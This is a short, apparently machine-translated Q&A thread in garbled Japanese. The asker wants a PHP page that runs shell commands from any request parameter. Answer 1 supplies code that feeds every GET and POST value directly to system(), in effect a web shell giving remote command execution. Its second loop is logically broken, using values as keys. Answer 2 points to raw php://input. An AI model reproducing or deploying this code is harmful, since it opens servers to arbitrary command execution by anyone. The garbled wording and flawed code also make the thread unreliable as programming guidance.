PHPは、任意のパラメータと任意の方法で値を取る

Question

私は単純なページコマンドが実行される脆弱性を作るためにしようとしている...これは私のコードですhttp://example/index.php?cmd=ls

問題、私は任意のパラメータと任意の方法（GETまたはPOST）で動作するように、この小さなコードを作りたいれる

例えば任意のパラメータが使用されている場合、それはまだ、すなわち、システムの方法を通過することになります。 "？hello = ls" （私は彼らがキーとしてhelloを使用する場所を知りませんでした。任意のアイデア？

Answer 1

あなたはアレイ内の各インデックスキーを格納することができ、ループの設定値。

$keys = ['cmd', 'hello', 'etc..']; // jus add your params 

// GET params 
foreach($keys as $_key) { 
    if(isset($_GET[$_key]) && !empty($_GET[$_key])) { 
     system($_GET[$_key]); 
    } 
} 

// POST params 
foreach($keys as $_key) { 
    if(isset($_POST[$_key]) && !empty($_POST[$_key])) { 
     system($_POST[$_key]); 
    } 
} 

あなたが知られたくない場合はPOSTへの鍵/その後、GET：

foreach($_GET as $key) { 
    system($_GET[$key]); 
} 

foreach($_POST as $key) { 
    system($_POST[$key]); 
} 

Answer 2

をあなたは使用しようとすることができます： file_get_contents('php://input');